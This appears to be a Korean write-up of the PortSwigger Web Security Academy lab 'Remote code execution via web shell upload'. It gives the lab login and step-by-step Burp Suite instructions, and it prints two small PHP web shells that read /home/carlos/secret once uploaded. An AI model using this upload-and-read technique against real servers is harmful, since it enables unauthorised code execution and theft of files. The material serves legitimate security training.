Lab: Remote code execution via web shell upload

Lab: Remote code execution via web shell upload

https://portswigger.net/web-security/file-upload/lab-file-upload-remote-code-execution-via-web-shell-upload

 

Lab: Remote code execution via web shell upload | Web Security Academy

This lab contains a vulnerable image upload function. It doesn't perform any validation on the files users upload before storing them on the server's ...

portswigger.net

 


File upload Attack

 

/home/carlos/secret 내용을 추출하면 문제해결

[기본 설정] 프록시 설정, ACCESS THE LAB의 주소를 Burp Suite에 설정

 

(1) 블로그에서 My account로 이동하여 로그인을 합니다.

ID와 PW는 wiener / peter 입니다.

 

(2) 프로필에 이미지를 업로드 합니다. 

 

(3) 이미지 전송 패킷을 확인합니다.

패킷을 Repeater로 보내기
Request에서 이미지 전송 패킷 확인

 

(4) 이번에는 악성코드 파일을 업로드 합니다.

(4)-1 악성코드 파일을 생성합니다. 코드에서 1,2번 중 아무거나 쓰면 됩니다.

[exploit.php]

/*1번*/
<?php
    $fp = fopen("/home/carlos/secret", "r");
    while( !feof($fp) ){
        echo fgets($fp);
    }
    fclose($fp);
?>

/*2번*/
<?php
echo file_get_contents('/home/carlos/secret');
?>

 

(4)-2 프로필에 악성코드 파일을 업로드합니다.

exploit.php 업로드
업로드 확인(1)
업로드 확인(2)

 

(5) 파일 전송 패킷을 확인합니다.

 

(6) /home/carlos/secret 파일 내용을 추출합니다. 

 

(7) 문제해결

블로그 상단 Submit solution 버튼을 클릭하고 (6)번에서 추출한 파일 내용을 붙여넣습니다.